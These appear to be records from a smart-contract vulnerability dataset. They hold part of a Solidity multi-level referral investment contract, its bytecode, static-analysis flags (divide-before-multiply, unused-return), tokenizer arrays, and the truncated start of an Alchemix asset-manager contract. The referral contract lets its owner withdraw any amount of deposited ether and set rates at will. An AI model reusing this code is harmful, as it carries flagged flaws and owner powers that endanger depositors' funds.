44e42e264e14c6b","0x63227f4492c6bbd9e1015f2c864a31eef1465cd3","0xf3e0ec409386ea202b15d97bb8dd2d131917e3b1","0x981154fafb3a5aeee43d984ee255e5121ce79790","0x49a4598cdf112b5848c11c465d39989fcb5cb6c1","0x575ca03f00f9e5566d85dc095165998953ab0753","0x09d87f2979c4ac6c9d4077d1f5d94cb9aadf43ca","0x0b4575867757b3982379f4d05c92fd2d019247a0","0x8c666d40e2ac961885d675e58e3115b859dac6c1","0x34a3401ebe8431d44efee9948c4b641142407aa8","0x1683512dbcce189ea6042862a2ba4abd4886623b","0x72d45f733336f6f03ef20c1ad4f51ff6b7f90186","0x569fe010fe2d40037c029537eef78aa9b0e018f9","0x061def9fab3aee4161711d4c040d138a273893b5","0xe77e2ae67e1152425c75ff56291d03d92f5d3cad","0x93ebdeb0b0c967f5cc1a10f481569e1871b7d7cd","0x6d7910f900fc3e3f2e2b6d5d8aad43bc6a232685", "0xb16e28be300f579a81f2b80fdd5a95cf168bf3a4", "0xd69835daeee01601ea991efe9fd0309c64c07d42", "0x30b45ed69250a160ee91dadab2986d21626d7f4b", "0xd28075489da5f9ef51bcc61668c114296a8e8603" */ address[] public investors; // investor address => percentage * 10^(-2) /* 3313,1500,510,462,453,302,250,250,226,220,150,129,100,100,60,55,50,50,50,50,50,50,50,50,50,40,40,30,27,26,25,25,25,25,25,25,25,25,23,20,15,15,15,15,15,15,14,14,13,13,13,13,12,12,11,11,11,11,11,11,10,10,10,10,10,10,10,10,10,9,9,8,8,8,8,7,6,6,6,6,6,6,6,6,6,6,6,6,6,5,5,5, 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1, 6,6,125,50 */ mapping (address => uint) public investorPercentages; /** * @dev Add investors */ function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public { for (uint i = 0; i < _investors.length; i++) { investors.push(_investors[i]); investorPercentages[_investors[i]] = _investorPercentages[i]; } } /** * @dev Get investors count * @return uint count */ function getInvestorsCount() public constant returns (uint) { return investors.length; } /** * @dev Get investors' fee depending on the current year * @return uint8 The fee percentage, which investors get */ function getInvestorsFee() public constant returns (uint8) { //01/01/2020 if (now >= 1577836800) { return 1; } //01/01/2019 if (now >= 1546300800) { return 5; } return 10; } } contract Referral is Declaration, Ownable { using SafeMath for uint; // reference to token contract WealthBuilderToken private token; // reference to data contract Data private data; // reference to investors contract Investors private investors; // investors balance to be distributed in wei*10^(2) uint public investorsBalance; /** * how many USD cents get per ETH */ uint public ethUsdRate; /** * @dev The Referral constructor to set up the first depositer, * reference to system token, data & investors and set ethUsdRate */ function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public { ethUsdRate = _ethUsdRate; // instantiate token & data contracts token = WealthBuilderToken(_token); data = Data(_data); investors = Investors(_investors); investorsBalance = 0; } /** * @dev Callback function */ function() payable public { } function invest(address client, uint8 depositsCount) payable public { uint amount = msg.value; // if less then 5 deposits if (depositsCount < 5) { uint serviceFee; uint investorsFee = 0; if (depositsCount == 0) { uint8 investorsFeePercentage = investors.getInvestorsFee(); serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage)); investorsFee = amount * investorsFeePercentage; investorsBalance += investorsFee; } else { serviceFee = amount * serviceFees[depositsCount]; } uint referralFee = amount * referralFees[depositsCount]; // distribute deposit fee among users above on the branch & update users' statuses distribute(data.parentOf(client), 0, depositsCount, amount); // update balance & number of deposits of user uint active = (amount * 100) .sub(referralFee) .sub(serviceFee) .sub(investorsFee); token.mint(client, active / 100 * token.rate() / token.mrate()); // update owner`s balance data.addBalance(owner, serviceFee * 10000); } else { token.mint(client, amount * token.rate() / token.mrate()); } } /** * @dev Recursively distribute deposit fee between parents * @param _node Parent address * @param _prevPercentage The percentage for previous parent * @param _depositsCount Count of depositer deposits * @param _amount The amount of deposit */ function distribute( address _node, uint _prevPercentage, uint8 _depositsCount, uint _amount ) private { address node = _node; uint prevPercentage = _prevPercentage; // distribute deposit fee among users above on the branch & update users' statuses while(node != address(0)) { uint8 status = data.statuses(node); // count fee percentage of current node uint nodePercentage = feeDistribution[status][_depositsCount]; uint percentage = nodePercentage.sub(prevPercentage); data.addBalance(node, _amount * percentage * 10000); //update refferals sum amount data.addReferralDeposit(node, _amount * ethUsdRate / 10**18); //update status updateStatus(node, status); node = data.parentOf(node); prevPercentage = nodePercentage; } } /** * @dev Update node status if children sum amount is enough * @param _node Node address * @param _status Node current status */ function updateStatus(address _node, uint8 _status) private { uint refDep = data.referralDeposits(_node); for (uint i = thresholds.length - 1; i > _status; i--) { uint threshold = thresholds[i] * 100; if (refDep >= threshold) { data.setStatus(_node, statusThreshold[threshold]); break; } } } /** * @dev Distribute fee between investors */ function distributeInvestorsFee(uint start, uint end) onlyOwner public { for (uint i = start; i < end; i++) { address investor = investors.investors(i); uint investorPercentage = investors.investorPercentages(investor); data.addInvestorBalance(investor, investorsBalance * investorPercentage); } if (end == investors.getInvestorsCount()) { investorsBalance = 0; } } /** * @dev Set token exchange rate * @param _rate wbt/eth rate */ function setRate(uint _rate) onlyOwner public { token.setRate(_rate); } /** * @dev Set ETH exchange rate * @param _ethUsdRate eth/usd rate */ function setEthUsdRate(uint _ethUsdRate) onlyOwner public { ethUsdRate = _ethUsdRate; } /** * @dev Add new child * @param _inviter parent * @param _invitee child */ function invite( address _inviter, address _invitee ) public onlyOwner { data.setParent(_invitee, _inviter); // Agent - 0 data.setStatus(_invitee, 0); } /** * @dev Set _status for _addr * @param _addr address * @param _status ref. status */ function setStatus(address _addr, uint8 _status) public onlyOwner { data.setStatus(_addr, _status); } /** * @dev Set investors contract address * @param _addr address */ function setInvestors(address _addr) public onlyOwner { investors = Investors(_addr); } /** * @dev Withdraw _amount for _addr * @param _addr withdrawal address * @param _amount withdrawal amount */ function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner { uint amount = investor ? data.investorBalanceOf(_addr) : data.balanceOf(_addr); require(amount >= _amount && this.balance >= _amount); if (investor) { data.subtrInvestorBalance(_addr, _amount * 1000000); } else { data.subtrBalance(_addr, _amount * 1000000); } _addr.transfer(_amount); } /** * @dev Withdraw contract balance to _addr * @param _addr withdrawal address */ function withdrawOwner(address _addr, uint256 _amount) public onlyOwner { require(this.balance >= _amount); _addr.transfer(_amount); } /** * @dev Withdraw corresponding amount of ETH to _addr and burn _value tokens * @param _addr withdrawal address * @param _amount amount of tokens to sell */ function withdrawToken(address _addr, uint256 _amount) onlyOwner public { token.burn(_addr, _amount); uint256 etherValue = _amount * token.mrate() / token.rate(); _addr.transfer(etherValue); } /** * @dev Transfer ownership of token contract to _addr * @param _addr address */ function transferTokenOwnership(address _addr) onlyOwner public { token.transferOwnership(_addr); } /** * @dev Transfer ownership of data contract to _addr * @param _addr address */ function transferDataOwnership(address _addr) onlyOwner public { data.transferOwnership(_addr); } }
0x6060604052600436106100cc5763ffffffff60e060020a6000350416630d99f40a81146100ce57806321e6b53d146100ed578063278e07ce1461010c57806334fcf4371461013157806336bf392b146101475780633b478fc514610160578063454d3e2414610185578063581c5ae6146101985780636f4c6443146101b25780638da5cb5b146101d75780639e281a9814610206578063a388541314610228578063e4952ddb1461024a578063ead5d35914610269578063f2fde38b14610290578063fb6f93a4146102af575b005b34156100d957600080fd5b6100cc600160a060020a03600435166102c5565b34156100f857600080fd5b6100cc600160a060020a036004351661030f565b341561011757600080fd5b6100cc600160a060020a036004351660ff60243516610391565b341561013c57600080fd5b6100cc60043561041d565b341561015257600080fd5b6100cc600435602435610480565b341561016b57600080fd5b610173610685565b60405190815260200160405180910390f35b341561019057600080fd5b61017361068b565b6100cc600160a060020a036004351660ff60243516610691565b34156101bd57600080fd5b6100cc600160a060020a0360043581169060243516610b39565b34156101e257600080fd5b6101ea610c1b565b604051600160a060020a03909116815260200160405180910390f35b341561021157600080fd5b6100cc600160a060020a0360043516602435610c2a565b341561023357600080fd5b6100cc600160a060020a0360043516602435610dbd565b341561025557600080fd5b6100cc600160a060020a0360043516610e25565b341561027457600080fd5b6100cc600160a060020a03600435166024356044351515610e90565b341561029b57600080fd5b6100cc600160a060020a03600435166110e3565b34156102ba57600080fd5b6100cc600435611142565b60145433600160a060020a039081169116146102e057600080fd5b6017805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60145433600160a060020a0390811691161461032a57600080fd5b601554600160a060020a031663f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561037a57600080fd5b6102c65a03f1151561038b57600080fd5b50505050565b60145433600160a060020a039081169116146103ac57600080fd5b601654600160a060020a031663278e07ce838360405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401600060405180830381600087803b151561040557600080fd5b6102c65a03f1151561041657600080fd5b5050505050565b60145433600160a060020a0390811691161461043857600080fd5b601554600160a060020a03166334fcf4378260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561037a57600080fd5b6014546000908190819033600160a060020a039081169116146104a257600080fd5b8492505b8383101561060f57601754600160a060020a0316633feb5f2b8460006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156104ff57600080fd5b6102c65a03f1151561051057600080fd5b5050506040518051601754909350600160a060020a031690506364505cac8360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561057657600080fd5b6102c65a03f1151561058757600080fd5b5050506040518051601654601854919350600160a060020a0316915063ae056477908490840260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156105f057600080fd5b6102c65a03f1151561060157600080fd5b5050600190930192506104a6565b601754600160a060020a031663ed21187a6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561065757600080fd5b6102c65a03f1151561066857600080fd5b505050604051805190508414156104165760006018555050505050565b60195481565b60185481565b34600080808080600560ff881610156109ee576000935060ff8716151561075a57601754600160a060020a03166322ed96a06000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156106fa57600080fd5b6102c65a03f1151561070b57600080fd5b50505060405180519050925061073e8360ff16600f8960ff1660058110151561073057fe5b01549063ffffffff61116216565b6018805460ff8616890290810190915590870295509350610771565b600f60ff88166005811061076a57fe5b0154860294505b600a60ff88166005811061078157fe5b0154601654908702925061080990600160a060020a031663ee08388e8a60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107e557600080fd5b6102c65a03f115156107f657600080fd5b5050506040518051905060008989611177565b61082e84610822878160648b028763ffffffff61116216565b9063ffffffff61116216565b601554909150600160a060020a03166340c10f19898262f3e7176000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561087f57600080fd5b6102c65a03f1151561089057600080fd5b5050506040518051601554909150600160a060020a0316632c4e722e6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156108e357600080fd5b6102c65a03f115156108f457600080fd5b50505060405180519050606486040281151561090c57fe5b0460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561095957600080fd5b6102c65a03f1151561096a57600080fd5b50505060405180515050601654601454600160a060020a03918216916321e5383a9116612710880260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156109d557600080fd5b6102c65a03f115156109e657600080fd5b505050610b2f565b601554600160a060020a03166340c10f19898262f3e7176000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610a3c57600080fd5b6102c65a03f11515610a4d57600080fd5b5050506040518051601554909150600160a060020a0316632c4e722e6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610aa057600080fd5b6102c65a03f11515610ab157600080fd5b505050604051805190508a02811515610ac657fe5b0460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b1357600080fd5b6102c65a03f11515610b2457600080fd5b505050604051805150505b5050505050505050565b60145433600160a060020a03908116911614610b5457600080fd5b601654600160a060020a031663b3204b8b828460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401600060405180830381600087803b1515610bac57600080fd5b6102c65a03f11515610bbd57600080fd5b5050601654600160a060020a0316905063278e07ce82600060405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401600060405180830381600087803b151561040557600080fd5b601454600160a060020a031681565b60145460009033600160a060020a03908116911614610c4857600080fd5b601554600160a060020a0316639dc29fac848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610c9e57600080fd5b6102c65a03f11515610caf57600080fd5b5050601554600160a060020a03169050632c4e722e6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610cfb57600080fd5b6102c65a03f11515610d0c57600080fd5b5050506040518051601554909150600160a060020a031662f3e7176000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d5e57600080fd5b6102c65a03f11515610d6f57600080fd5b505050604051805190508302811515610d8457fe5b049050600160a060020a03831681156108fc0282604051600060405180830381858888f193505050501515610db857600080fd5b505050565b60145433600160a060020a03908116911614610dd857600080fd5b600160a060020a0330163181901015610df057600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610e2157600080fd5b5050565b60145433600160a060020a03908116911614610e4057600080fd5b601654600160a060020a031663f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561037a57600080fd5b60145460009033600160a060020a03908116911614610eae57600080fd5b81610f2c57601654600160a060020a03166370a082318560006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610f0c57600080fd5b6102c65a03f11515610f1d57600080fd5b50505060405180519050610fa1565b601654600160a060020a03166361fba37d8560006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610f8557600080fd5b6102c65a03f11515610f9657600080fd5b505050604051805190505b9050828110158015610fbd57508230600160a060020a03163110155b1515610fc857600080fd5b811561104257601654600160a060020a0316630452396c85620f4240860260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561102957600080fd5b6102c65a03f1151561103a57600080fd5b5050506110b2565b601654600160a060020a0316635a6af33b85620f4240860260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561109d57600080fd5b6102c65a03f115156110ae57600080fd5b5050505b600160a060020a03841683156108fc0284604051600060405180830381858888f19350505050151561038b57600080fd5b60145433600160a060020a039081169116146110fe57600080fd5b600160a060020a038116151561111357600080fd5b6014805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60145433600160a060020a0390811691161461115d57600080fd5b601955565b60008282111561117157600080fd5b50900390565b8383600080805b600160a060020a038516156113af57601654600160a060020a031663af11c1f08660006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156111e657600080fd5b6102c65a03f115156111f757600080fd5b505050604051805160ff8082166000908152600160209081526040808320938d168352929052205490945092506112369050828563ffffffff61116216565b601654909150600160a060020a03166321e5383a866127108985020260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561129557600080fd5b6102c65a03f115156112a657600080fd5b5050601654601954600160a060020a03909116915063a7f1b77a908790670de0b6b3a7640000908a020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561131357600080fd5b6102c65a03f1151561132457600080fd5b50505061133185846113ba565b601654600160a060020a031663ee08388e8660006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561138a57600080fd5b6102c65a03f1151561139b57600080fd5b50505060405180519050945081935061117e565b505050505050505050565b60165460009081908190600160a060020a0316636244cfa486836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561141957600080fd5b6102c65a03f1151561142a57600080fd5b5050506040518051935060079250505b8360ff16821115610416576002826008811061145257fe5b015460640290508083106114e9576016546000828152602081905260409081902054600160a060020a039092169163278e07ce91889160ff16905160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401600060405180830381600087803b15156114d057600080fd5b6102c65a03f115156114e157600080fd5b505050610416565b6000199091019061143a565b611532600060a06040519081016040908152600c8252600860208301526005908201526002606082018190526001608083015260005b01546116ca565b61156c600160a0604051908101604090815260108252600a602083015260069082015260036060820152600260808201819052600161152b565b6115a5600260a0604051908101604090815260148252600c6020830152600890820152600460608201526002608082018190528061152b565b6115e0600360a0604051908101604090815260198252600f6020830152600a908201526005606082015260036080820181905260029061152b565b61161a600460a06040519081016040908152601e825260126020830152600c9082015260066060820152600360808201526002600461152b565b611654600560a060405190810160409081526023825260156020830152600e9082015260076060820152600460808201526002600561152b565b61168e600660a06040519081016040908152602882526018602083015260109082015260086060820152600460808201526002600661152b565b6116c8600760a0604051908101604090815260328252601e6020830152601490820152600a6060820152600560808201526002600761152b565b565b6000818152602081905260408120805460ff191660ff86161790555b60058160ff16101561038b578260ff82166005811061170157fe5b602002015160ff8581166000908152600160208181526040808420878616855290915290912092909116909155016116e65600a165627a7a72305820e1036122170454de23a943152bc789e44b7e22e452c920b3c9ed9cc22415d0360029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19481, 2278, 2683, 2497, 2683, 2098, 16932, 2546, 2509, 2546, 2575, 3540, 2497, 2581, 2549, 2278, 23833, 2581, 2050, 2581, 11387, 29292, 2094, 22907, 16068, 15878, 2475, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 2219, 3085, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 2275, 1036, 3954, 1036, 1997, 1996, 3206, 2000, 1996, 4604, 2121, 1008, 1013, 4769, 2270, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 11618, 2065, 2170, 2011, 2151, 4070, 2060, 2084, 1996, 3954, 1012, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4473, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,709
0x9735f7d3ea56b454b24ffd74c58e9bd85cfad31b
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.13; // OpenZeppelin Contracts (last updated v4.6.0-rc.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /// @notice An error used to indicate that an argument passed to a function is illegal or /// inappropriate. /// /// @param message The error message. error IllegalArgument(string message); /// @notice An error used to indicate that a function has encountered an unrecoverable state. /// /// @param message The error message. error IllegalState(string message); /// @notice An error used to indicate that an operation is unsupported. /// /// @param message The error message. error UnsupportedOperation(string message); /// @notice An error used to indicate that a message sender tried to execute a privileged function. /// /// @param message The error message. error Unauthorized(string message); /// @title Multicall /// @author Uniswap Labs /// /// @notice Enables calling multiple methods in a single call to the contract abstract contract Multicall { error MulticallFailed(bytes data, bytes result); function multicall( bytes[] calldata data ) external payable returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { revert MulticallFailed(data[i], result); } results[i] = result; } } } /// @title Mutex /// @author Alchemix Finance /// /// @notice Provides a mutual exclusion lock for implementing contracts. abstract contract Mutex { enum State { RESERVED, UNLOCKED, LOCKED } /// @notice The lock state. State private _lockState = State.UNLOCKED; /// @dev A modifier which acquires the mutex. modifier lock() { _claimLock(); _; _freeLock(); } /// @dev Gets if the mutex is locked. /// /// @return if the mutex is locked. function _isLocked() internal view returns (bool) { return _lockState == State.LOCKED; } /// @dev Claims the lock. If the lock is already claimed, then this will revert. function _claimLock() internal { // Check that the lock has not been claimed yet. if (_lockState != State.UNLOCKED) { revert IllegalState("Lock already claimed"); } // Claim the lock. _lockState = State.LOCKED; } /// @dev Frees the lock. function _freeLock() internal { _lockState = State.UNLOCKED; } } /// @title IERC20TokenReceiver /// @author Alchemix Finance interface IERC20TokenReceiver { /// @notice Informs implementors of this interface that an ERC20 token has been transferred. /// /// @param token The token that was transferred. /// @param value The amount of the token that was transferred. function onERC20Received(address token, uint256 value) external; } interface IConvexBooster { function deposit(uint256 pid, uint256 amount, bool stake) external returns (bool); function withdraw(uint256 pid, uint256 amount) external returns (bool); } interface IConvexRewards { function rewardToken() external view returns (IERC20); function earned(address account) external view returns (uint256); function extraRewards(uint256 index) external view returns (address); function balanceOf(address account) external returns(uint256); function withdraw(uint256 amount, bool claim) external returns (bool); function withdrawAndUnwrap(uint256 amount, bool claim) external returns (bool); function getReward() external returns (bool); function getReward(address recipient, bool claim) external returns (bool); function stake(uint256 amount) external returns (bool); function stakeFor(address account, uint256 amount) external returns (bool); } interface IConvexToken is IERC20 { function maxSupply() external view returns (uint256); function totalCliffs() external view returns (uint256); function reductionPerCliff() external view returns (uint256); } /// @dev TODO uint256 constant NUM_META_COINS = 2; interface IStableMetaPool is IERC20 { function get_balances() external view returns (uint256[NUM_META_COINS] memory); function coins(uint256 index) external view returns (IERC20); function A() external view returns (uint256); function get_virtual_price() external view returns (uint256); function calc_token_amount( uint256[NUM_META_COINS] calldata amounts, bool deposit ) external view returns (uint256 amount); function add_liquidity( uint256[NUM_META_COINS] calldata amounts, uint256 minimumMintAmount ) external returns (uint256 minted); function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256 dy); function get_dy_underlying(int128 i, int128 j, uint256 dx, uint256[NUM_META_COINS] calldata balances) external view returns (uint256 dy); function exchange(int128 i, int128 j, uint256 dx, uint256 minimumDy) external returns (uint256); function remove_liquidity(uint256 amount, uint256[NUM_META_COINS] calldata minimumAmounts) external; function remove_liquidity_imbalance( uint256[NUM_META_COINS] calldata amounts, uint256 maximumBurnAmount ) external returns (uint256); function calc_withdraw_one_coin(uint256 tokenAmount, int128 i) external view returns (uint256); function remove_liquidity_one_coin( uint256 tokenAmount, int128 i, uint256 minimumAmount ) external returns (uint256); function get_price_cumulative_last() external view returns (uint256[NUM_META_COINS] calldata); function block_timestamp_last() external view returns (uint256); function get_twap_balances( uint256[NUM_META_COINS] calldata firstBalances, uint256[NUM_META_COINS] calldata lastBalances, uint256 timeElapsed ) external view returns (uint256[NUM_META_COINS] calldata); function get_dy( int128 i, int128 j, uint256 dx, uint256[NUM_META_COINS] calldata balances ) external view returns (uint256); } uint256 constant NUM_STABLE_COINS = 3; interface IStableSwap3Pool { function coins(uint256 index) external view returns (IERC20); function A() external view returns (uint256); function get_virtual_price() external view returns (uint256); function calc_token_amount( uint256[NUM_STABLE_COINS] calldata amounts, bool deposit ) external view returns (uint256 amount); function add_liquidity(uint256[NUM_STABLE_COINS] calldata amounts, uint256 minimumMintAmount) external; function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256 dy); function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns (uint256 dy); function exchange(int128 i, int128 j, uint256 dx, uint256 minimumDy) external returns (uint256); function remove_liquidity(uint256 amount, uint256[NUM_STABLE_COINS] calldata minimumAmounts) external; function remove_liquidity_imbalance( uint256[NUM_STABLE_COINS] calldata amounts, uint256 maximumBurnAmount ) external; function calc_withdraw_one_coin(uint256 tokenAmount, int128 i) external view returns (uint256); function remove_liquidity_one_coin( uint256 tokenAmount, int128 i, uint256 minimumAmount ) external; } /// @title IERC20Metadata /// @author Alchemix Finance interface IERC20Metadata { /// @notice Gets the name of the token. /// /// @return The name. function name() external view returns (string memory); /// @notice Gets the symbol of the token. /// /// @return The symbol. function symbol() external view returns (string memory); /// @notice Gets the number of decimals that the token has. /// /// @return The number of decimals. function decimals() external view returns (uint8); } /// @title SafeERC20 /// @author Alchemix Finance library SafeERC20 { /// @notice An error used to indicate that a call to an ERC20 contract failed. /// /// @param target The target address. /// @param success If the call to the token was a success. /// @param data The resulting data from the call. This is error data when the call was not a /// success. Otherwise, this is malformed data when the call was a success. error ERC20CallFailed(address target, bool success, bytes data); /// @dev A safe function to get the decimals of an ERC20 token. /// /// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an /// unexpected value. /// /// @param token The target token. /// /// @return The amount of decimals of the token. function expectDecimals(address token) internal view returns (uint8) { (bool success, bytes memory data) = token.staticcall( abi.encodeWithSelector(IERC20Metadata.decimals.selector) ); if (!success || data.length < 32) { revert ERC20CallFailed(token, success, data); } return abi.decode(data, (uint8)); } /// @dev Transfers tokens to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an /// unexpected value. /// /// @param token The token to transfer. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransfer(address token, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.transfer.selector, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Approves tokens for the smart contract. /// /// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an /// unexpected value. /// /// @param token The token to approve. /// @param spender The contract to spend the tokens. /// @param value The amount of tokens to approve. function safeApprove(address token, address spender, uint256 value) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.approve.selector, spender, value) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Transfer tokens from one address to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an /// unexpected value. /// /// @param token The token to transfer. /// @param owner The address of the owner. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.transferFrom.selector, owner, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } } /// @notice A struct used to define initialization parameters. This is not included /// in the contract to prevent naming collisions. struct InitializationParams { address admin; address operator; address rewardReceiver; address transmuterBuffer; IERC20 curveToken; IStableSwap3Pool threePool; IStableMetaPool metaPool; uint256 threePoolSlippage; uint256 metaPoolSlippage; IConvexToken convexToken; IConvexBooster convexBooster; IConvexRewards convexRewards; uint256 convexPoolId; } /// @dev The amount of precision that slippage parameters have. uint256 constant SLIPPAGE_PRECISION = 1e4; /// @dev The amount of precision that curve pools use for price calculations. uint256 constant CURVE_PRECISION = 1e18; /// @notice Enumerations for 3pool assets. /// /// @dev Do not change the order of these fields. enum ThreePoolAsset { DAI, USDC, USDT } /// @notice Enumerations for meta pool assets. /// /// @dev Do not change the order of these fields. enum MetaPoolAsset { ALUSD, THREE_POOL } /// @title ThreePoolAssetManager /// @author Alchemix Finance contract ThreePoolAssetManager is Multicall, Mutex, IERC20TokenReceiver { /// @notice 